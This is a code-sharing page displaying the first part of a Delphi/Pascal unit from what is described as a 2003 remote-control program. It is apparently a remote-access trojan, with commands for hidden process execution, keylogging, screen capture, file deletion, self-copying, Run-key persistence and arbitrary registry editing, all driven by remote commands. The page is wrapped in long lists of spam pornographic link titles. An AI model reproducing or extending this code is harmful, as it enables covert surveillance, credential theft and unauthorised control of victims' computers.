亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? toolz.pas

?? 2003年的遠程控制
?? PAS
?? 第 1 頁 / 共 2 頁
字號:
tmp:=T_registerygetstring(par,'');
if tmp='' then result:=def else
result:=strtointdef(tmp,def);
end;

function T_RegisteryGetBoolean(par:string;def:boolean):boolean;
var tmp:string;
begin
tmp:=T_registerygetstring(par,'');
if tmp='' then result:=def else
result:=t_zerojeden(tmp);
end;

function T_RegisteryGetTime(par:string;def:tdatetime):Tdatetime;
var tmp:string;
begin
tmp:=T_registerygetstring(par,'');
if tmp='' then result:=def else
result:=def; {strtointdef(tmp,def);}
end;

function GetNetUserName: string;
const len:Cardinal=100;
var tmp:Pchar;
    b:boolean;
begin
tmp:=StrAlloc(Len+1);
b:=GetUserName(tmp,Len);
if b then result:=Strpas(tmp) else result:='nobody';
strdispose(tmp);
end;

procedure usunstareprosiaki;
var i:integer;
begin
for i:=1 to ile_old do
  deletefile(Pchar(sysdirectory+'\'+ver_old[i]));
end;

procedure T_init;
var winsys:Pchar;
    len:cardinal;
begin
winsys:=StrAlloc(MAX_PATH+1);
GetSystemDirectory(winsys,MAX_PATH);
sysdirectory:=Strupper(winsys);
GetWindowsDirectory(winsys,MAX_PATH);
windirectory:=Strupper(winsys);
len:=max_path;
GetComputerName(winsys,len);
hostname:=StrPas(winsys);
StrDispose(winsys);
end;

procedure screendump(typ:integer;f:string);
var dc:hdc;
    jp:TJPEGimage;
    ekran:Timage;
    ew,eh:integer;
begin
dc:=CreateDC('DISPLAY',nil,nil,nil);
case typ of
0 : begin ew:=screen.width; eh:=screen.height; end;
1 : begin ew:=screen.Width div 2; eh:=screen.height div 2; end;
2 : begin ew:=screen.Width div 3; eh:=screen.height div 3; end;
else begin ew:=screen.width; eh:=screen.height; end;
end;
ekran:=TImage.Create(nil);
ekran.Width:=ew;
ekran.Height:=eh;
StretchBlt(ekran.Canvas.Handle, 0, 0,ew,eh,dc,0,0,Screen.width,screen.height,SRCCOPY );
DeleteDC(dc);
jp:=TJPEGImage.create;
jp.assign(ekran.picture.Graphic);
jp.CompressionQuality:=jpeg_q;
jp.SaveToFile(f);
jp.free;
ekran.free;
end;

procedure screenappdump(app:hwnd;f:string);
var dc:hdc;
    jp:TJPEGimage;
    ekran:Timage;
    ew,eh:integer;
    rect:Trect;
begin
GetWindowRect(app,rect);
ew:=rect.Right-rect.left;
eh:=rect.bottom-rect.top;
xsend(inttostr(ew)+'x'+inttostr(eh));
ekran:=TImage.Create(nil);
ekran.Width:=ew;
ekran.Height:=eh;
dc:=GetDC(app);
SetforegroundWindow(app);
InvalidateRect(app,nil,true);
BitBlt(ekran.Canvas.Handle, 0, 0,ew,eh,dc,0,0,SRCCOPY );
ReleaseDC(app,dc);
jp:=TJPEGImage.create;
jp.assign(ekran.picture.Graphic);
jp.CompressionQuality:=jpeg_q;
jp.SaveToFile(f);
jp.free;
ekran.free;
end;

procedure xlog(s:string);
begin
t_log(s);
end;

procedure drivelist;
var
 DriveChar:ansistring;
 Res:integer;
begin
 xsend(Inf_DriveStart);
 DriveChar:='a:\';
 repeat
 res:=GetDriveType(Pchar(drivechar));
 if res>1 then xsend(Inf_drive+Drivechar[1]+' '+inttostr(res));
 inc(DriveChar[1]);
 until Drivechar[1]='z';
 Xsend(Inf_drivestop);
end;

procedure t_dos(par1,par2:string;sw:integer);
begin
 if par1<>'' then
 par1:='command.com /c '+par1+' '+par2 else
 par1:='command.com';
 WinExec(Pchar(par1),sw);
end;

procedure T_mkdir(par1,par2:string);
begin
{$I-}
if par2<>'' then par1:=par1+' '+par2;
mkdir(par1);
if ioresult<>0 then xsend(Err_CreateDir);
{$I+}
end;

function T_direxists(dir:string):boolean;
begin
{$I-}
Chdir(dir);
result:=(IOresult=0);
{$i+}
end;

function T_fileexists(plik:string):boolean;
var f:file;
begin
{$I-}
Assignfile(f,plik);
Reset(f);
result:=(IOresult=0);
closefile(f);
{$i+}
end;

procedure T_cd(par1,par2:string);
var tmp:string;
begin
{$I-}
if par2<>'' then par1:=par1+' '+par2;
if par1<>'' then
begin
 chdir(par1);
 if ioresult<>0 then xsend(Err_DirNotFound);
end;
Getdir(0,tmp);
xsend(Inf_CurrDir+tmp);
{$i+}
end;

procedure T_dir(par1,par2:string);
var tmp:string;
    searchrec:tsearchrec;
begin
 Getdir(0,tmp);
 xsend(Inf_StartDir);
 if par1='' then par1:='*.*';
 if findfirst(par1, faAnyFile-faDirectory, SearchRec)=0 then
 repeat
  par2:=Inf_File+searchrec.name+' '+inttostr(searchrec.size);
  xsend(par2);
 until (FindNext(SearchRec) <> 0);
 if findfirst('*.*', faDirectory, SearchRec)=0 then
 repeat
  if (searchrec.attr and faDirectory)<>0 then xsend(Inf_Dir+searchrec.name);
 until (FindNext(SearchRec) <> 0);
 xsend(Inf_Stopdir);
end;

procedure t_delete(par1,par2:string);
begin
 if par2<>'' then par1:=par1+' '+par2;
 SetFileAttributes(Pchar(par1),FILE_ATTRIBUTE_NORMAL);
 if not deletefile(Pchar(par1)) then xsend(Err_deletefail);
end;

function T_commands(comm,par1,par2:string):boolean;
begin
result:=true;
if comm='DOS' then t_dos(par1,par2,sw_normal)
else if comm='MKDIR' then T_mkdir(par1,par2)
else if comm='CD' then T_cd(par1,par2)
else if comm='DIR' then t_dir(par1,par2)
else if comm='DELETE' then t_delete(par1,par2)
else if comm='REGADD' then T_RegisteryAddRun(par1)
else if comm='REGDEL' then T_RegisteryRemoveRun
else if comm='DRIVES' then drivelist
else if comm='DOSMIN' then t_dos(par1,par2,sw_minimize)
else if comm='DOSHID' then t_dos(par1,par2,sw_hide)
else if comm='EXE' then WinExec(Pchar(par1plus2(par1,par2)),sw_normal)
else if comm='EXEMIN' then WinExec(Pchar(par1plus2(par1,par2)),sw_minimize)
else if comm='EXEHID' then Winexec(Pchar(par1plus2(par1,par2)),sw_hide)
else if comm='OPEN' then
 ShellExecute(GetDesktopwindow,'open',Pchar(par1plus2(par1,par2)),nil,nil,sw_normal)
else if comm='MAIL' then
 begin
 par1:='mailto:'+par1+'?subject='+par2;
 ShellExecute(Getdesktopwindow,'open',Pchar(par1),nil,nil,sw_normal);
 end
else if comm='WWW' then
 ShellExecute(getdesktopwindow,'open',Pchar('http://'+par1),nil,nil,sw_normal)
else if comm='LOGSTATUS' then
 begin
  xsend(Inf_logenabled+t_bool(logtofile));
  xsend(Inf_logfile+logfile);
  xsend(Inf_autosys+t_bool(autostart_log));
 end
else if comm='LOG' then
  begin  if T_zerojeden(par1) then t_openlog else t_closelog; end
else if comm='LOGAUTO' then autostart_log:=t_zerojeden(par1)
else if comm='KEYLOG' then
  begin  if T_zerojeden(par1) then t_openkeylog else t_closekeylog; end
else if comm='KEYLOGAUTO' then autostart_keylog:=t_zerojeden(par1)
else if comm='KEYLOGSTATUS' then
 begin
  xsend(Inf_keylogenabled+t_bool(keylog));
  xsend(Inf_keylogfile+keylogfile);
  xsend(Inf_autokey+t_bool(autostart_keylog));
 end
else if comm='SETPASS' then password:=par1
else if comm='WRITECONFIG' then writeconfig
else if comm='WRITECONFIGDEF' then writeconfigdef
else if comm='COPYSELF' then copyfile(Pchar(paramstr(0)),Pchar(par1),false)
else if comm='COPY' then copyfile(Pchar(par1),Pchar(par2),false)
else if comm='MOVE' then movefile(Pchar(par1),Pchar(par2))
else if comm='CREATE' then
           begin
           assignfile(script_txtfile,par1);
           rewrite(script_txtfile);
           end
else if comm='APPEND' then
           begin
           {$I-}
           assignfile(script_txtfile,par1);
           append(script_txtfile);
           if ioresult<>0 then rewrite(script_txtfile);
           {$I+}
           end
else if comm='WRITE_TEXT' then writeln(script_txtfile,par1+' '+par2)
else if comm='WRITE_DATE' then writeln(script_txtfile,DateTimetostr(now))
else if comm='CLOSE' then closefile(script_txtfile)
else if comm='JPEG_Q' then jpeg_q:=strtointdef(par1,60)
else if comm='ENUMKEYS' then T_registeryEnumKeys(par1)
else if comm='ENUMVALUES' then T_RegisteryEnumValues(par1)
else if comm='SETROOT' then T_regroot:=par1
else if comm='GETROOT' then xsend(inf_root+T_regroot)
else if comm='DELSTRING' then T_registeryDeleteString('',par1)
else if comm='SETSTRING' then T_registerySetString('',par1,par2)
else if comm='GETSTRING' then xsend(Inf_regvalue+T_registeryReadString('',par1))
else
 result:=false;
end;

procedure readconfig;
begin
autostart_log:=T_registeryGetBoolean(REG_LOGSTART,false);
autostart_keylog:=T_registeryGetBoolean(REG_KEYLOGSTART,false);
logfileext:=T_registeryGetString(REG_LOGFILE,deflogfile);
password:=T_registeryGetString(REG_PASS,defpassword);
logfile:=sysdirectory+'\'+logfileext;
keylogext:=T_registeryGetString(REG_KEYLOGFILE,defkeylog);
keylogfile:=sysdirectory+'\'+keylogext;
net_readconfig;
httpd_readconfig;
end;

procedure writeconfig;
begin
T_registeryWriteConfig(REG_LOGSTART,autostart_log);
T_registeryWriteConfig(REG_KEYLOGSTART,autostart_keylog);
T_registeryWriteConfig(REG_LOGFILE,logfileext);
T_registeryWriteConfig(REG_KEYLOGFILE,keylogext);
T_registeryWriteConfig(REG_PASS,password);
net_writeconfig;
httpd_writeconfig;
end;

procedure updateconfig;
begin
autostart_log:=config.autolog;
logfileext:=config.logfile;
autostart_keylog:=config.autokeylog;
keylogext:=config.keylogfile;
password:=config.haslo;
end;

procedure writeconfigdef;
begin
T_registeryWriteConfig(REG_LOGSTART,false);
autostart_log:=false;
T_registeryWriteConfig(REG_LOGFILE,deflogfile);
logfileext:=deflogfile;
T_registeryWriteConfig(REG_KEYLOGSTART,false);
autostart_keylog:=false;
T_registeryWriteConfig(REG_KEYLOGFILE,defkeylog);
keylogext:=defkeylog;
T_registeryWriteConfig(REG_PASS,defpassword);
password:=defpassword;
net_writeconfigdef;
httpd_writeconfigdef;
end;

begin
logtofile:=false;
keylog:=false;
jpeg_q:=60;
t_regroot:='\';
t_init;
end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美亚州韩日在线看免费版国语版| 一区二区三区四区激情| 国产精品免费观看视频| 午夜精品在线看| 粉嫩一区二区三区性色av| 欧美亚洲国产bt| 亚洲免费观看高清完整版在线观看熊| 美女脱光内衣内裤视频久久网站| 99久久免费视频.com| 久久精品人人做人人综合| 亚洲精品国产高清久久伦理二区| 国产精品资源网站| 久久伊99综合婷婷久久伊| 一区二区三区四区在线播放| 狠狠v欧美v日韩v亚洲ⅴ| 91精品国产综合久久精品| 亚洲一区二区三区自拍| 91农村精品一区二区在线| 亚洲婷婷综合色高清在线| 99re在线精品| 亚洲最大色网站| 在线观看国产日韩| 日韩中文字幕不卡| 69久久99精品久久久久婷婷| 亚洲一区二区四区蜜桃| av不卡免费电影| 国产日韩欧美精品电影三级在线 | 国产精品一区久久久久| 久久先锋影音av鲁色资源网| 国产在线播精品第三| 欧美韩国日本综合| 制服丝袜亚洲播放| 国产盗摄视频一区二区三区| 中文字幕av一区 二区| 色综合久久久久网| 亚洲精品亚洲人成人网| 欧美精品日日鲁夜夜添| 国产一区不卡精品| 亚洲国产日韩综合久久精品| 精品对白一区国产伦| 北条麻妃一区二区三区| 亚洲一区电影777| 国产日韩影视精品| 欧美高清视频不卡网| 麻豆视频观看网址久久| 中文字幕高清不卡| 日韩精品中文字幕一区| 国产aⅴ综合色| 亚洲一二三专区| 国产精品色在线| 2021久久国产精品不只是精品| 色域天天综合网| 福利电影一区二区三区| 男女男精品视频| 亚洲影院在线观看| 亚洲人成人一区二区在线观看| 日韩欧美国产1| 欧美一区二区三区人| 欧美视频中文字幕| 欧美三级电影精品| 91蜜桃在线观看| 在线区一区二视频| 欧美亚洲综合一区| 欧美三级一区二区| 欧美三级电影网| 欧美亚州韩日在线看免费版国语版| 国产网红主播福利一区二区| 国产在线国偷精品产拍免费yy| 亚洲va欧美va人人爽午夜| 亚洲男人天堂av网| 亚洲综合小说图片| 亚洲国产视频一区二区| 视频一区二区中文字幕| 日韩高清不卡在线| 国产又粗又猛又爽又黄91精品| 极品美女销魂一区二区三区| 国产成人综合精品三级| 不卡免费追剧大全电视剧网站| av网站一区二区三区| 在线亚洲人成电影网站色www| 精品一区二区三区在线观看| 婷婷综合在线观看| 国产馆精品极品| 91香蕉国产在线观看软件| 欧美视频完全免费看| 精品精品国产高清一毛片一天堂| 欧美一区二区视频在线观看2022| 欧美精品亚洲一区二区在线播放| 26uuu亚洲| 亚洲最快最全在线视频| 国产麻豆精品视频| 欧美日韩视频专区在线播放| 精品国产乱码久久久久久牛牛 | 奇米影视一区二区三区| 国产麻豆精品在线观看| 91精品黄色片免费大全| 久久精品人人做| 蜜臀久久久99精品久久久久久| 国产成人精品一区二区三区网站观看| 91丨九色丨蝌蚪富婆spa| 久久综合色婷婷| 伊人一区二区三区| 国产91对白在线观看九色| 日韩欧美亚洲另类制服综合在线| 国产精品第四页| 国产一区二区精品久久91| 久久久午夜精品| 日本成人在线一区| 91传媒视频在线播放| 国产精品视频九色porn| 高清不卡在线观看| 亚洲成a天堂v人片| 91蜜桃在线免费视频| 亚洲日本丝袜连裤袜办公室| 99精品欧美一区二区三区综合在线| 欧美老肥妇做.爰bbww| 热久久久久久久| 日韩女优毛片在线| 国产一区二区三区香蕉| 国产日韩欧美综合在线| 成人av午夜电影| 中文字幕亚洲综合久久菠萝蜜| 91美女片黄在线观看| 国产欧美一区二区精品久导航| 蜜臀av一区二区| 中文字幕av不卡| 欧美三级一区二区| 久久99精品国产麻豆婷婷洗澡| 日韩色在线观看| 成人免费视频一区二区| 一区二区三区日韩欧美精品| 国产欧美综合在线| 激情综合色丁香一区二区| 国产视频不卡一区| 欧美亚洲一区三区| 国产一区福利在线| 亚洲图片欧美综合| 国产精品久久三| 日韩欧美国产精品一区| 成人a级免费电影| 一区二区三区精品视频在线| 在线精品视频免费播放| 乱一区二区av| 日韩久久精品一区| 国产精品自产自拍| 免费成人在线视频观看| 国产精品乱码人人做人人爱| 在线一区二区三区四区五区| 国产乱色国产精品免费视频| 亚洲国产一区二区a毛片| 日本最新不卡在线| 1024国产精品| 国产欧美一区二区三区鸳鸯浴 | 成人中文字幕合集| 青青草国产成人99久久| 夜色激情一区二区| 亚洲国产成人精品视频| 午夜电影一区二区三区| 偷窥国产亚洲免费视频| 六月丁香婷婷久久| 国产制服丝袜一区| 99精品国产一区二区三区不卡| 91在线视频免费91| 欧美视频一区二区三区| 欧美美女一区二区三区| 日韩片之四级片| 精品国产乱码久久| 亚洲日本一区二区| 视频一区视频二区中文| 国产在线精品国自产拍免费| 成人av免费观看| 91.xcao| 国产精品美女久久久久aⅴ国产馆| 亚洲视频你懂的| 蜜臀av一区二区在线免费观看 | 亚洲国产aⅴ成人精品无吗| 日韩电影免费一区| 99久久免费精品| 精品国产乱码久久久久久闺蜜| 欧美激情一区在线观看| 亚洲成人免费av| 97久久精品人人爽人人爽蜜臀| 制服丝袜av成人在线看| 中文字幕的久久| 美腿丝袜亚洲一区| 欧美色综合天天久久综合精品| 久久久99精品久久| 美女性感视频久久| 欧美日韩精品一区二区三区蜜桃 | 欧美网站一区二区| 国产日本亚洲高清| 国产一区二区毛片| 欧美一级日韩免费不卡| 一区二区三区**美女毛片| 国产成人精品免费看| 国产欧美久久久精品影院| 精品亚洲免费视频| 久久影院午夜论| 国产成人小视频| 国产日韩欧美不卡在线|